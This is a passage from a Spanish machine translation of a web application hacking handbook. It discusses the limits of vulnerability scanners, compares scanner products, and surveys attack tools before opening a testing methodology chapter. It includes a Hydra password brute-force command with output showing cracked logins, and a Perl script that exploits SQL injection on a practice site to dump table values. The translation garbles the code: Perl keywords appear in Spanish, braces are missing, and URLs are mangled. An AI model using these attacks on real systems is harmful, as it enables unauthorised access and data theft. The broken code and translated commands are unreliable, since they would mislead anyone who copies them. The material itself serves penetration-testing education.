aplicación y pueden reconocer mensajes de error comunes, códigos de estado HTTP y datos
proporcionados por el usuario que se copian en páginas web. Sin embargo, los lectores de
hoy no pueden entender el significado semántico de este contenido, ni pueden hacer juicios
normativos sobre la base de este significado. Por ejemplo, en una función que actualiza un
carrito de compras, un escáner simplemente ve numerosos parámetros siendo
enviado. No sabe que uno de estos parámetros significa una cantidad y

otro significa un precio. Además, no sabe que poder modificar la cantidad
de un pedido es intrascendente, mientras que poder modificar su precio
representa una falla de seguridad.
Los escáneres no improvisan
Muchas aplicaciones web utilizan mecanismos no estándar para manejar sesiones y

navegación y para transmitir y manejar datos, como en la estructura de la cadena de
consulta, cookies u otros parámetros. Un ser humano puede notar y deconstruir rápidamente
el mecanismo inusual, pero una computadora continuará siguiendo las reglas estándar que
se le han dado. Además, muchos ataques contra aplicaciones web requieren cierta
improvisación, como eludir filtros de entrada parcialmente efectivos o explotar varios
aspectos diferentes del comportamiento de la aplicación que, en conjunto, la dejan abierta
al ataque. Los escáneres suelen pasar por alto este tipo de ataques.
Los escáneres no son intuitivos
Las computadoras no tienen intuición sobre la mejor manera de proceder. El enfoque de los
escáneres de hoy es en gran parte intentar cada ataque contra cada función. Esto impone
un límite práctico a la variedad de comprobaciones que se pueden realizar y las formas en
que se pueden combinar. Este enfoque pasa por alto las vulnerabilidades en muchos casos:
n Algunos ataques implican el envío de información manipulada en uno o más pasos de

un proceso de varias etapas y recorrer el resto del proceso para observar los
resultados.
n Algunos ataques implican cambiar la secuencia de pasos en los que la aplicación

ción espera que se realice un proceso.
n Algunos ataques implican cambiar el valor de varios parámetros de manera
manipulada. Por ejemplo, un ataque XSS puede requerir que se coloque un valor
específico en un parámetro para generar un mensaje de error, y que se coloque una
carga XSS en otro parámetro, que se copia en el mensaje de error.
Debido a las restricciones prácticas impuestas al enfoque de fuerza bruta de los

escáneres para la detección de vulnerabilidades, no pueden trabajar con cada permutación
de cadena de ataque en diferentes parámetros, o cada permutación de pasos funcionales.
Por supuesto, ningún ser humano puede hacer esto prácticamente tampoco. Sin embargo,
un ser humano con frecuencia tiene una idea de dónde se encuentran los errores, dónde el
desarrollador hizo suposiciones y dónde algo no "se ve bien". Por lo tanto, un probador
humano seleccionará una pequeña proporción del total de ataques posibles para la
investigación real y, por lo tanto, a menudo logrará el éxito.
Desafíos técnicos que enfrentan los escáneres

Las barreras a la automatización descritas anteriormente conducen a una serie de
desafíos técnicos específicos que deben abordarse en la creación de un escáner de
vulnerabilidad efectivo. Estos desafíos afectan no solo la capacidad del escáner para
detectar tipos específi cos de vulnerabilidades, como ya se describió, sino también su
capacidad para realizar las tareas principales de mapear el contenido de la aplicación
y detectar defectos.
Algunos de estos desafíos no son insuperables, y los escáneres de hoy han encontrado
formas de abordarlos parcialmente. Sin embargo, el escaneo no es una ciencia perfecta y la
efectividad de las técnicas modernas de escaneo varía ampliamente de una aplicación a otra.
Autenticación y manejo de sesiones

El escáner debe poder trabajar con los mecanismos de autenticación y manejo de
sesiones utilizados por diferentes aplicaciones. Con frecuencia, solo se puede acceder
a la mayor parte de la funcionalidad de una aplicación mediante una sesión autenticada,
y un escáner que no funcione con dicha sesión perderá muchos defectos detectables.
En los escáneres actuales, la parte de autenticación de este problema se soluciona al permitir
que el usuario del escáner proporcione una secuencia de comandos de inicio de sesión o siga
el proceso de autenticación usando un navegador integrado, lo que permite que el escáner
observe los pasos específicos involucrados en la obtención . una sesión autenticada.
La parte del desafío del manejo de sesiones es menos sencilla de abordar y comprende los
siguientes dos problemas:
n El escáner debe poder interactuar con cualquier mecanismo de manejo de sesiones que
utilice la aplicación. Esto puede implicar la transmisión de un token de sesión en una
cookie, en un campo de formulario oculto o dentro de la cadena de consulta de URL.
Los tokens pueden ser estáticos a lo largo de la sesión o pueden cambiar según la
solicitud , o la aplicación puede emplear un mecanismo personalizado diferente.
n El escáner debe ser capaz de detectar cuando su sesión ha dejado de ser válida para que
pueda volver a la etapa de autenticación para adquirir una nueva. Esto puede ocurrir por
varias razones. Quizás el escáner solicitó la función de cierre de sesión, o la aplicación
terminó la sesión porque el escáner realizó una navegación anormal o envió una entrada
no válida.
El escáner debe detectar esto tanto durante sus ejercicios iniciales de mapeo como
durante su posterior sondeo de vulnerabilidades. Diferentes aplicaciones se comportan
de formas muy diferentes cuando una sesión deja de ser válida. Para un escáner que
solo analiza el contenido sintáctico de las respuestas de la aplicación, esto puede ser un
desafío difícil de cumplir en general, particularmente si se utiliza un mecanismo de
manejo de sesión no estándar.
Es justo decir que algunos de los escáneres actuales hacen un trabajo razonable al trabajar
con la mayoría de los mecanismos de autenticación y manejo de sesiones que están en uso. Sin
embargo, quedan numerosos casos en los que los escáneres tienen problemas. Como resultado,
es posible que no rastreen o escaneen correctamente partes clave de la superficie de ataque de
una aplicación. Debido a la forma totalmente automatizada en que funcionan los escáneres
independientes, esta falla normalmente no es evidente para el usuario.
Efectos peligrosos
En muchas aplicaciones, ejecutar un análisis automático sin restricciones sin ninguna
guía para el usuario puede ser bastante peligroso para la aplicación y los datos que contiene.
Por ejemplo, un escáner puede descubrir una página de administración que contiene funciones
para restablecer las contraseñas de los usuarios, eliminar cuentas, etc. Si el escáner solicita a
ciegas todas las funciones, esto puede provocar que se deniegue el acceso a todos los usuarios
de la aplicación. De manera similar, el escáner puede descubrir una vulnerabilidad que puede
explotarse para corromper gravemente los datos contenidos en la aplicación.
Por ejemplo, en algunas vulnerabilidades de inyección SQL, enviar cadenas de ataque SQL
estándar como o 1=1 provoca que se realicen operaciones imprevistas en los datos de la
aplicación. Un ser humano que entiende el propósito de una función en particular puede proceder
con cautela por este motivo, pero un escáner automatizado carece de esta comprensión.
Funcionalidad de individualización
Hay muchas situaciones en las que un análisis puramente sintáctico de una aplicación no logra
identificar correctamente su conjunto básico de funciones individuales:
n Algunas aplicaciones contienen una cantidad colosal de contenido que incluye el mismo
conjunto básico de funciones. Por ejemplo, aplicaciones como eBay, MySpace y Amazon
contienen millones de páginas de aplicaciones diferentes con diferentes URL y contenido,
pero estas corresponden a un número relativamente pequeño de funciones reales de la
aplicación.
n Algunas aplicaciones pueden no tener un límite finito cuando se analizan desde una
perspectiva puramente sintáctica. Por ejemplo, una aplicación de calendario puede
permitir a los usuarios navegar a cualquier fecha. De manera similar, algunas aplicaciones
con una cantidad finita de contenido emplean direcciones URL volátiles o solicitan
parámetros para acceder al mismo contenido en diferentes ocasiones, lo que hace que
los escáneres continúen mapeando indefinidamente.
n Las propias acciones del escáner pueden dar como resultado la aparición de contenido
aparentemente nuevo. Por ejemplo, enviar un formulario puede hacer que aparezca un
nuevo enlace en la interfaz de la aplicación y acceder al enlace puede recuperar otro
formulario que tenga el mismo comportamiento.
En cualquiera de estas situaciones, un atacante humano puede "ver a través" rápidamente

del contenido sintáctico de la aplicación e identificar el conjunto central de funciones reales
que deben probarse. Para un escáner automatizado sin comprensión semántica, esto es
considerablemente más difícil de hacer.
Además de los problemas obvios de mapear y probar la aplicación en las situaciones
descritas, surge un problema relacionado con el informe de las vulnerabilidades descubiertas.
Un escáner basado en un análisis puramente sintáctico es propenso a generar hallazgos
duplicados para cada vulnerabilidad individual. Por ejemplo, un informe de escaneo podría
identificar 200 fallas XSS, 195 de las cuales surgen en la misma función de aplicación que el
escáner probó varias veces porque aparece en diferentes contextos con diferente contenido
sintáctico.
Otros desafíos para la automatización

Como se discutió en el Capítulo 14, algunas aplicaciones implementan medidas defensivas
específicamente diseñadas para evitar que los programas cliente automatizados accedan a ellas.
Estas medidas incluyen la finalización reactiva de la sesión en caso de actividad anómala y el
uso de CAPTCHA y otros controles diseñados para garantizar que un ser humano sea
responsable de solicitudes particulares.
En general, la función spidering del escáner enfrenta los mismos desafíos que las arañas de
aplicaciones web en general, como respuestas personalizadas de "no encontrado" y la capacidad
de interpretar el código del lado del cliente. Muchas aplicaciones implementan una validación
minuciosa sobre determinados elementos de entrada, como los campos de un formulario de
registro de usuario. Si la araña llena el formulario con entradas no válidas y no puede comprender
los mensajes de error generados por la aplicación, es posible que nunca avance más allá de
este formulario hacia algunas funciones importantes que se encuentran detrás de él.
La rápida evolución de las tecnologías web, particularmente el uso de componentes de
extensión del navegador y otros marcos en el lado del cliente, significa que la mayoría de los
escáneres van a la zaga de las últimas tendencias. Esto puede resultar en fallas para identificar
todas las solicitudes relevantes realizadas dentro de la aplicación, o el formato y contenido
precisos de las solicitudes que requiere la aplicación.
Además, la naturaleza con mucho estado de las aplicaciones web actuales, con datos
complejos que se mantienen tanto en el lado del cliente como en el del servidor, y se actualizan
a través de comunicaciones asincrónicas entre los dos, crea problemas para la mayoría de los
escáneres totalmente automatizados, que tienden a trabajar en cada solicitud de forma aislada. .
Para obtener una cobertura completa de estas aplicaciones, a menudo es necesario comprender
los procesos de solicitud de múltiples etapas que involucran y asegurarse de que la aplicación
esté en el estado deseado para manejar una solicitud de ataque en particular. El Capítulo 14
describe las técnicas para lograr esto dentro de los ataques automatizados personalizados. ellos generalmente
requieren la participación humana inteligente para comprender los requisitos, configurar las
herramientas de prueba de manera adecuada y monitorear su desempeño.
Productos Actuales
El mercado de los escáneres web automatizados ha prosperado en los últimos años, con una
gran cantidad de innovación y una amplia gama de productos diferentes. Estos son algunos
de los escáneres más destacados:
n Acunetix
n AppScan n
Escáner de eructos
n Granizo
n NetSparker
n N-Stalker
n NTOSpider n
Skipfish n
WebInspect
Aunque la mayoría de los escáneres maduros comparten un núcleo común de funcionalidad,

tienen diferencias en sus enfoques para detectar diferentes áreas de vulnerabilidades y en la
funcionalidad presentada al usuario. Las discusiones públicas sobre los méritos de los
diferentes escáneres a menudo degeneran en insultos entre los proveedores. Se han realizado
varias encuestas para evaluar el rendimiento de diferentes escáneres en la detección de
diferentes tipos de fallas de seguridad. Tales encuestas siempre implican ejecutar los
escáneres contra una pequeña muestra de código vulnerable.
Esto puede limitar la extrapolación de los resultados a la amplia gama de situaciones del
mundo real en las que se pueden utilizar los escáneres.
Las encuestas más efectivas ejecutan cada escáner en una amplia gama de código de
muestra que se deriva de aplicaciones del mundo real, sin dar a los proveedores la oportunidad
de ajustar su producto al código de muestra antes del análisis. Uno de esos estudios
académicos de la Universidad de California, Santa Bárbara, afirma ser "la evaluación más
grande de escáneres de aplicaciones web en términos de la cantidad de herramientas
probadas... y la clase de vulnerabilidades analizadas". Puede descargar el informe del estudio
en la siguiente URL:
www.cs.ucsb.edu/~adoupe/static/black-box-scanners-dimva2010.pdf
Las principales conclusiones de este estudio fueron las siguientes:
n Los escáneres de última generación no pueden detectar clases completas de vulnerabilidades ,

incluidas contraseñas débiles, controles de acceso rotos y fallas lógicas. n El rastreo de
aplicaciones web modernas puede ser un serio desafío para los escáneres de vulnerabilidades
web de hoy en día debido al soporte incompleto para las tecnologías comunes del lado del
cliente y la compleja naturaleza con estado de las aplicaciones actuales.
n No existe una fuerte correlación entre el precio y la capacidad. Algunos escáneres gratuitos o
muy rentables funcionan tan bien como escáneres que cuestan miles de dólares.
El estudio asignó a cada escáner una puntuación basada en su capacidad para identificar
diferentes tipos de vulnerabilidades. La Tabla 20-1 muestra las puntuaciones generales y el precio
de cada escáner.
Tabla 20-1: Rendimiento de detección de vulnerabilidades y precios de diferentes escáneres según el estudio de UCSB
ESCÁNER PUNTAJE PRECIO
Acunetix 14 $4,995 a $6,350
WebInspeccionar 13 $6,000 a $30,000
Escáner de eructos 13 $191
N-Stalker 13 $899 a $6,299
AppScan 10 $17,550 a $32,500
w3af 9 Gratis
Paros 6 Gratis
Granizada 6 $10,000
NTOSpider 4 $10,000
MileSCAN 4 $495 a $1,495
Escaneo de Grendel 3 Gratis
Cabe señalar que las capacidades de escaneo han evolucionado considerablemente en

los últimos años y es probable que continúen haciéndolo. Es probable que tanto el
rendimiento como el precio de los escáneres individuales cambien con el tiempo. El estudio
de la UCSB que informó la información que se muestra en la Tabla 20-1 se publicó en junio de 2010.
Debido a la relativa escasez de información pública confiable sobre el desempeño de los
escáneres de vulnerabilidades web, se recomienda que haga su propia investigación antes de
realizar cualquier compra. La mayoría de los proveedores de escaneo proporcionan documentación
detallada del producto y ediciones de prueba gratuitas de su software, que puede usar para ayudar
a informar su selección de productos.
Uso de un escáner de vulnerabilidades

En situaciones del mundo real, la efectividad del uso de un escáner de vulnerabilidades
depende en gran medida de la aplicación a la que se dirige. Las fortalezas y debilidades
inherentes que hemos descrito afectan diferentes aplicaciones de diferentes maneras,
dependiendo de los tipos de funcionalidad y vulnerabilidades que contengan.
De los diversos tipos de vulnerabilidades que se encuentran comúnmente en las
aplicaciones web , los escáneres automatizados son intrínsecamente capaces de descubrir
aproximadamente la mitad de ellas, donde existe una firma estándar. Dentro del subconjunto
de tipos de vulnerabilidad que los escáneres pueden detectar, hacen un buen trabajo al
identificar casos individuales, aunque pasan por alto las instancias más sutiles e inusuales
de estos. En general, puede esperar que la ejecución de un análisis automatizado identifique
algunas, pero no todas, las frutas más fáciles dentro de una aplicación típica.
Si es un novato, o si está atacando una aplicación grande y tiene un tiempo limitado,
ejecutar un análisis automatizado puede traer beneficios claros. Identificará rápidamente
varias pistas para una mayor investigación manual, lo que le permitirá obtener un control
inicial sobre la postura de seguridad de la aplicación y los tipos de fallas que existen.
También le proporcionará una descripción general útil de la aplicación de destino y resaltará
cualquier área inusual que requiera una atención más detallada.
Si es un experto en atacar aplicaciones web y se toma en serio la búsqueda de tantas
vulnerabilidades como sea posible dentro de su objetivo, es muy consciente de las
limitaciones inherentes de los escáneres de vulnerabilidades. Por lo tanto, no confiará
plenamente en ellos para cubrir por completo cualquier categoría individual de vulnerabilidad.
Aunque los resultados de un análisis serán interesantes y provocarán una investigación
manual de problemas específicos, por lo general querrá realizar una prueba manual completa
de cada área de la aplicación para cada tipo de vulnerabilidad para asegurarse de que el
trabajo se ha realizado correctamente. .
En cualquier situación en la que emplee un escáner de vulnerabilidades, debe tener en
cuenta algunos puntos clave para asegurarse de utilizarlo de la forma más eficaz:
n Tenga en cuenta los tipos de vulnerabilidades que los escáneres pueden

detectar y las que no. n Familiarícese con la funcionalidad de su escáner y
sepa cómo aprovechar su configuración para que sea más efectivo contra una
aplicación determinada. n Familiarícese con la aplicación de destino antes de
ejecutar el escáner para que pueda hacer un uso más efectivo de ella. n Sea
consciente de los riesgos asociados con la detección de funcionalidades
potentes y la búsqueda automática de errores peligrosos. n Confi rmar siempre
manualmente cualquier vulnerabilidad potencial informada por el
escáner.
n Tenga en cuenta que los escáneres son extremadamente ruidosos y dejan una
huella significativa en los registros del servidor y cualquier defensa IDS. No utilice
un escáner si quiere ser sigiloso.
Escaneo completamente automatizado versus escaneo dirigido por el usuario
Una consideración clave en el uso de los escáneres web es la medida en que desea dirigir
el trabajo realizado por el escáner. Los dos casos de uso extremos en esta decisión son los
siguientes:
n Quiere darle a su escáner la URL de la aplicación, haga clic en Ir y

espera los resultados.
n Quiere trabajar manualmente y usar un escáner para probar solicitudes individuales

de forma aislada, junto con sus pruebas manuales.
Los escáneres web independientes están más orientados hacia el primero de estos casos de uso.
Los escáneres que se incorporan a las suites de pruebas integradas están más orientados
hacia el segundo caso de uso. Dicho esto, ambos tipos de escáneres le permiten adoptar
un enfoque más híbrido si así lo desea.
Para los usuarios que son novatos en seguridad de aplicaciones web, o que requieren
una evaluación rápida de una aplicación, o que manejan una gran cantidad de aplicaciones
de forma regular, un análisis completamente automatizado proporcionará una idea de parte
de la superficie de ataque de la aplicación. Esto puede ayudarlo a tomar una decisión
informada sobre qué nivel de pruebas más completas se garantiza para la aplicación.
Para los usuarios que entienden cómo se realizan las pruebas de seguridad de
aplicaciones web y que conocen las limitaciones de la automatización total, la mejor forma
de usar un escáner es dentro de un conjunto de pruebas integradas para respaldar y
mejorar el proceso de prueba manual. Este enfoque ayuda a evitar muchos de los desafíos
técnicos que enfrentan los escáneres totalmente automatizados. Puede guiar el escáner
usando su navegador para asegurarse de que no se pierdan áreas clave de funcionalidad.
Puede escanear directamente las solicitudes reales generadas por la aplicación, que
contienen datos con el contenido y el formato correctos que requiere la aplicación. Con un
control total sobre lo que se escanea, puede evitar la funcionalidad peligrosa, reconocer la
funcionalidad duplicada y superar cualquier requisito de validación de entrada con el que
pueda tener problemas un escáner automatizado. Además, cuando tiene comentarios
directos sobre la actividad del analizador, puede asegurarse de que se eviten los problemas
con la autenticación y el manejo de la sesión y que los problemas causados por los procesos
de varias etapas y las funciones con estado se manejen correctamente. Al usar un escáner
de esta manera, puede cubrir una importante gama de vulnerabilidades cuya detección
puede automatizarse. Esto lo liberará para buscar los tipos de vulnerabilidades que
requieren inteligencia y experiencia humana para descubrir.
Otras herramientas
Además de las herramientas ya discutidas, puede encontrar muchas otras útiles en una situación
específica o para realizar una tarea en particular. El resto de este capítulo describe algunas otras
herramientas que probablemente encontrará y utilizará al atacar aplicaciones. Cabe señalar que
este es solo un breve repaso de algunas herramientas que los autores han utilizado. Se recomienda
que investigue las diversas herramientas disponibles y elija las que mejor se adapten a sus
necesidades y estilo de prueba.
Wikto/Nikto
Nikto es útil para ubicar contenido predeterminado o común de terceros que existe en un servidor
web. Contiene una gran base de datos de archivos y directorios, incluidas páginas predeterminadas
y secuencias de comandos que se envían con servidores web, y elementos de terceros, como
software de carrito de compras. La herramienta esencialmente funciona solicitando cada elemento
por turno y detectando si existe.
La base de datos se actualiza con frecuencia, lo que significa que Nikto suele ser más eficaz
que cualquier otra técnica automática o manual para identificar este tipo de contenido.
Nikto implementa una amplia gama de opciones de configuración, que se pueden especificar
en la línea de comandos o mediante un archivo de configuración basado en texto. Si la aplicación
usa una página personalizada "no encontrada", puede evitar falsos positivos usando la configuración
-404 , que le permite especificar una cadena que aparece en la página de error personalizada.
Wikto es una versión para Windows de Nikto que tiene algunas características adicionales,
como la detección mejorada de respuestas personalizadas "no encontradas" y la minería de
directorios asistida por Google.
bicho de fuego
Firebug es una herramienta de depuración del navegador que le permite depurar y editar HTML y
JavaScript en tiempo real en la página que se muestra actualmente. También puede explorar y
editar el DOM.
Firebug es extremadamente poderoso para analizar y explotar una amplia gama de ataques del
lado del cliente, incluidos todo tipo de secuencias de comandos entre sitios, falsificación de
solicitudes y reparación de IU, y captura de datos entre dominios, como se describe en el Capítulo 13.
Hidra
Hydra es una herramienta para adivinar contraseñas que se puede utilizar en una amplia gama de
situaciones, incluso con la autenticación basada en formularios que se utiliza comúnmente en la web.
aplicaciones Por supuesto, puedes utilizar una herramienta como Burp Intruder para ejecutar
cualquier ataque de este tipo de forma totalmente personalizada; sin embargo, en muchas
situaciones, Hydra puede ser igual de útil.
Hydra le permite especificar la URL de destino, los parámetros de solicitud relevantes, las listas
de palabras para atacar los campos de nombre de usuario y contraseña, y los detalles del mensaje
de error que se devuelve después de un inicio de sesión fallido. La configuración -t se puede usar
para especificar la cantidad de subprocesos paralelos que se usarán en el ataque. Por ejemplo:
C:\>hydra.exe –t 32 -L usuario.txt -P contraseña.txt wahh-app.com http-post-formulario

“/login.asp:login_name=ÛSER^&login_password=^PASS^&login=Login:Invalid”
Hydra v6.4 (c) 2011 por van Hauser / THC - uso permitido solo para fines legales
propósitos
Hydra (http://www.thc.org) a partir de 2011-05-22 16:32:48

[DATOS] 32 tareas, 1 servidor, 21904 intentos de inicio de sesión (l:148/p:148), ~684 intentos por
tarea
[DATA] servicio de ataque http-post-form en el puerto 80

[ESTADO] 397.00 intentos/min, 397 intentos en 00:01h, 21507 por hacer en 00:55h
[80][www-formulario] host: 65.61.137.117 inicio de sesión: alice contraseña: contraseña
[80][www-formulario] host: 65.61.137.117 inicio de sesión: liz contraseña: contraseña
...
Guiones personalizados
Según la experiencia de los autores, las diversas herramientas estándar que existen son
suficientes para ayudarlo a realizar la gran mayoría de las tareas que debe realizar cuando ataca
una aplicación web. Sin embargo, en diversas situaciones inusuales, deberá crear sus propias
herramientas y secuencias de comandos personalizadas para abordar un problema en particular.
Por ejemplo:
n La aplicación utiliza un mecanismo de manejo de sesión inusual, como uno que involucra
tokens por página que deben volver a enviarse en la secuencia correcta. n Quiere explotar
una vulnerabilidad que requiere que se realicen varios pasos específi cos repetidamente, con
los datos recuperados en una respuesta incorporados en las solicitudes subsiguientes.
n La aplicación finaliza agresivamente su sesión cuando identifica una solicitud potencialmente

maliciosa, y adquirir una nueva sesión autenticada requiere varios pasos no estándar. n
Debe proporcionar un exploit de "apuntar y hacer clic" al propietario de una aplicación para
demostrar la vulnerabilidad y el riesgo.
Si tiene algo de experiencia en programación, la forma más fácil de abordar problemas de

este tipo es crear un programa pequeño y totalmente personalizado para emitir las solicitudes
relevantes y procesar las respuestas de la aplicación. Puede producir esto como una herramienta
independiente o como una extensión de una de las pruebas integradas
suites descritas anteriormente. Por ejemplo, puede utilizar la interfaz de Burp Extender para
ampliar Burp Suite o la interfaz de BeanShell para ampliar WebScarab.
Los lenguajes de secuencias de comandos, como Perl, contienen bibliotecas para facilitar
la comunicación HTTP y, a menudo, puede realizar tareas personalizadas con solo unas
pocas líneas de código. Incluso si tiene una experiencia de programación limitada, a menudo
puede encontrar un script en Internet que puede modificar para satisfacer sus necesidades .
El siguiente ejemplo muestra un script Perl simple que aprovecha una vulnerabilidad de
inyección SQL en un formulario de búsqueda para realizar consultas recursivas y recuperar
todos los valores en una columna de tabla especificada. Comienza con el valor más alto y se
itera hacia abajo (consulte el Capítulo 9 para obtener más detalles sobre este tipo de ataque):
usar HTTP::Solicitud::Común;
utilizar LWP::UserAgent;
$ua = LWP::UserAgent->nuevo(); mi $col =

@ARGV[1]; mi $from_stmt = @ARGV[3];
si ($#ARGV!=3) {
imprimir "uso: perl sql.pl SELECCIONAR columna DE la tabla\n"; salida;
mientras(1) {
$carga útil = “foo' o (1 in (select max($col) from $from_stmt $test))--”;
my $req = POST “http://mdsec.net/addressbook/32/Default.aspx”, [__VIEWSTATE => '', Name => $payload,

Email => 'john@test.
com', Teléfono =>
'12345', Buscar => 'Buscar', Dirección => '1 High Street', Edad => '30',]; my $resp = $ua->request($req); mi
$contenido = $resp->as_string; #imprimir $contenido;
if ($contenido =~ /valor nvarchar '(.*)'/) {
imprime “$1\n”; # imprime la coincidencia extraída
} más
{salida;}
$prueba = “donde $col < '$1'”;
}
¡INTENTALO!
Además de los comandos y bibliotecas incorporados, puede llamar a varias

herramientas y utilidades simples desde scripts de Perl y scripts de shell del sistema operativo.
A continuación se describen algunas herramientas útiles para este propósito.
Obtener
Wget es una herramienta útil para recuperar una URL específica usando HTTP o HTTPS.
Puede admitir un proxy descendente, autenticación HTTP y varias otras opciones de
configuración.
Rizo
Curl es una de las herramientas de línea de comandos más flexibles para emitir
solicitudes HTTP y HTTPS. Admite métodos GET y POST , parámetros de solicitud,
certificados SSL de cliente y autenticación HTTP. En el siguiente ejemplo, el título de
la página se recupera para valores de ID de página entre 10 y 40:
#!/bin/bash
para i en `seq 10 40`;
hacer
eco -n $i ":"
curl -s http://mdsec.net/app/ShowPage.ashx?PageNo==$i | grep -Po “<título>(.*)</título>” |
sed's/.......$.*$......../\1/'
hecho
¡INTENTALO!
http://mdsec.net/app/
Netcat
Netcat es una herramienta versátil que se puede utilizar para realizar numerosas tareas
relacionadas con la red. Es la piedra angular de muchos tutoriales de piratería para principiantes.
Puede usarlo para abrir una conexión TCP a un servidor, enviar una solicitud y recuperar la respuesta.
Además de este uso, Netcat se puede usar para crear una escucha de red en su computadora
para recibir conexiones de un servidor que está atacando. Ver Capítulo 9
para ver un ejemplo de esta técnica que se usa para crear un canal fuera de banda en un
ataque a la base de datos.
Netcat en sí mismo no admite conexiones SSL, pero esto se puede lograr si
se usa en combinación con la herramienta stunnel, que se describe a continuación.
aturdir
Stunnel es útil cuando trabaja con sus propios scripts u otras herramientas que no admiten conexiones
HTTPS. Stunnel le permite crear conexiones SSL de cliente a cualquier host o sockets SSL de servidor
para escuchar las conexiones entrantes de cualquier cliente. Debido a que HTTPS es simplemente el
protocolo HTTP tunelizado sobre SSL, puede usar stunnel para proporcionar capacidades HTTPS a
cualquier otra herramienta.
Por ejemplo, el siguiente comando muestra la configuración de stunnel para crear un socket de
servidor TCP simple en el puerto 88 de la interfaz de loopback local. Cuando se recibe una conexión,
stunnel realiza una negociación SSL con el servidor en wahh-app.com, reenviando la conexión de
texto no cifrado entrante a través del túnel SSL a este servidor:
C:\bin>stunnel -c -d localhost:88 -r wahh-app.com:443 2011.01.08 15:33:14 LOG5[1288:924]:

Usando 'wahh-app.com.443' como
tcpwrapper Nombre del Servicio
2011.01.08 15:33:14 LOG5[1288:924]: stunnel 3.20 en x86-pc mingw32-gnu WIN32
Ahora puede simplemente señalar cualquier herramienta que no sea compatible con SSL en el
puerto 88 en la interfaz de bucle invertido. Esto se comunica efectivamente con el servidor de destino
a través de HTTPS:
2011.01.08 15:33:20 LOG5[1288:1000]: wahh-app.com.443 conectado desde 127.0.0.1:1113
2011.01.08 15:33:26 LOG5[1288:1000]: Conexión cerrada: 16 bytes

enviado a SSL, 392 bytes enviados al socket
Resumen
Este libro se ha centrado en las técnicas prácticas que puede utilizar para atacar aplicaciones web.
Aunque algunas de estas tareas se pueden llevar a cabo usando solo un navegador, para realizar un
ataque efectivo y completo de una aplicación, se necesitan algunas herramientas.
La herramienta más importante e indispensable de su arsenal es el proxy interceptor, que le permite

ver y modificar todo el tráfico que pasa en ambas direcciones entre el navegador y el servidor. Los
proxies de hoy se complementan con un
gran cantidad de otras herramientas integradas que pueden ayudar a automatizar muchas de las
tareas que deberá realizar. Además de uno de estos conjuntos de herramientas, debe usar una o
más extensiones de navegador que le permitan continuar trabajando en situaciones en las que no
se puede usar un proxy.
El otro tipo principal de herramienta que puede emplear es un escáner de aplicación web
independiente . Estas herramientas pueden ser efectivas para descubrir rápidamente una variedad
de vulnerabilidades comunes y también pueden ayudarlo a mapear y analizar la funcionalidad de
una aplicación. Sin embargo, no pueden identificar muchos tipos de fallas de seguridad , y no puede
confiar en ellos para dar un certificado de salud completamente limpio a cualquier aplicación.
En última instancia, lo que lo convertirá en un hacker de aplicaciones web consumado es su

capacidad para comprender cómo funcionan las aplicaciones web, dónde fallan sus defensas y
cómo investigarlas en busca de vulnerabilidades explotables. Para hacer esto de manera efectiva,
necesita herramientas que le permitan mirar debajo del capó, manipular su interacción con las
aplicaciones de manera detallada y aprovechar la automatización siempre que sea posible para
que sus ataques sean más rápidos y confiables.
Cualesquiera que sean las herramientas que encuentre más útiles para lograr estos objetivos, son
las adecuadas para usted. Y si las herramientas disponibles no satisfacen sus necesidades, siempre
puede crear las suyas propias. No es tan difícil, honesto.
CAPÍTULO R
21
Un hacker de aplicaciones web
Metodología
Este capítulo contiene una metodología detallada paso a paso que puede seguir al
atacar una aplicación web. Cubre todas las categorías de vulnerabilidades y técnicas
de ataque descritas en este libro. Seguir todos los pasos de esta metodología no
garantiza que descubra todas las vulnerabilidades dentro de una aplicación
determinada. Sin embargo, le proporcionará un buen nivel de seguridad de que ha
probado todas las regiones necesarias de la superficie de ataque de la aplicación y
ha encontrado tantos problemas como sea posible con los recursos disponibles.
La Figura 21-1 ilustra las principales áreas de trabajo que describe esta metodología.
Profundizaremos en este diagrama e ilustraremos la subdivisión de tareas que implica
cada área. Los números en los diagramas corresponden a la lista numerada jerárquica
utilizada en la metodología, por lo que puede saltar fácilmente a las acciones
involucradas en un área específica.
La metodología se presenta como una secuencia de tareas que se organizan y
ordenan según las interdependencias lógicas entre ellas. En la medida de lo posible,
estas interdependencias se destacan en las descripciones de las tareas. Sin embargo,
en la práctica, con frecuencia necesitará pensar con imaginación sobre la dirección
en la que deben ir sus actividades y permitir que estas se guíen por lo que descubra
sobre la aplicación que está atacando. Por ejemplo:
n La información recopilada en una etapa puede permitirle volver a una etapa

anterior y formular ataques más enfocados. Por ejemplo, un error de control de
acceso que le permite obtener una lista de todos los usuarios puede permitirle
791
792 Capítulo 21 n Metodología de un hacker de aplicaciones web
realizar un ataque de adivinación de contraseñas más efectivo contra la

función de autenticación.
n Descubrir una vulnerabilidad clave en un área de la aplicación puede permitirle acortar

parte del trabajo en otras áreas. Por ejemplo, una vulnerabilidad de divulgación de archivos
puede permitirle realizar una revisión de código de las funciones clave de la aplicación en
lugar de probarlas únicamente como una caja negra. n Los resultados de sus pruebas en
algunas áreas pueden resaltar patrones de vulnerabilidades recurrentes que puede investigar
de inmediato en otras áreas.
Por ejemplo, un defecto genérico en los filtros de validación de entrada de la aplicación
puede permitirle encontrar rápidamente una omisión de sus defensas contra varias
categorías diferentes de ataque.
Reconocimiento y análisis
1. Contenido de la aplicación de mapa
2. Analizar la aplicación
Lógica de la aplicación Manejo de acceso Manejo de entrada Alojamiento de aplicaciones
3. Pruebe los controles del 4. Prueba 7. Fuzz todos 10. Prueba de problemas de
lado del cliente de autenticación los parámetros alojamiento compartido
8. Prueba de problemas
9. Prueba de fallas 5. Gestión de la sesión 11. Prueba la web
con funcionalidades
lógicas de prueba servidor
específicas
6. Controles de
acceso de prueba
12. Cheques varios 13. Fuga de información
Figura 21-1: Las principales áreas de trabajo involucradas en la metodología
Utilice los pasos de esta metodología para guiar su trabajo y como una lista de verificación
para evitar descuidos, pero no se sienta obligado a adherirse a ellos con demasiada rigidez. Guardar
Capítulo 21 n Metodología de un hacker de aplicaciones web 793
el siguiente pensamiento en mente: las tareas que describimos son en gran parte estándar
y ortodoxas; los ataques más impresionantes contra las aplicaciones web siempre implican
pensar más allá de ellas.
Reglas generales
Siempre debe tener en cuenta algunas consideraciones generales al realizar las tareas
detalladas involucradas en atacar una aplicación web. Estos pueden aplicarse a todas las
diferentes áreas que necesita examinar y las técnicas que necesita llevar a cabo.
n Recuerde que varios caracteres tienen un significado especial en diferentes partes de

la solicitud HTTP. Cuando modifique los datos dentro de las solicitudes, debe
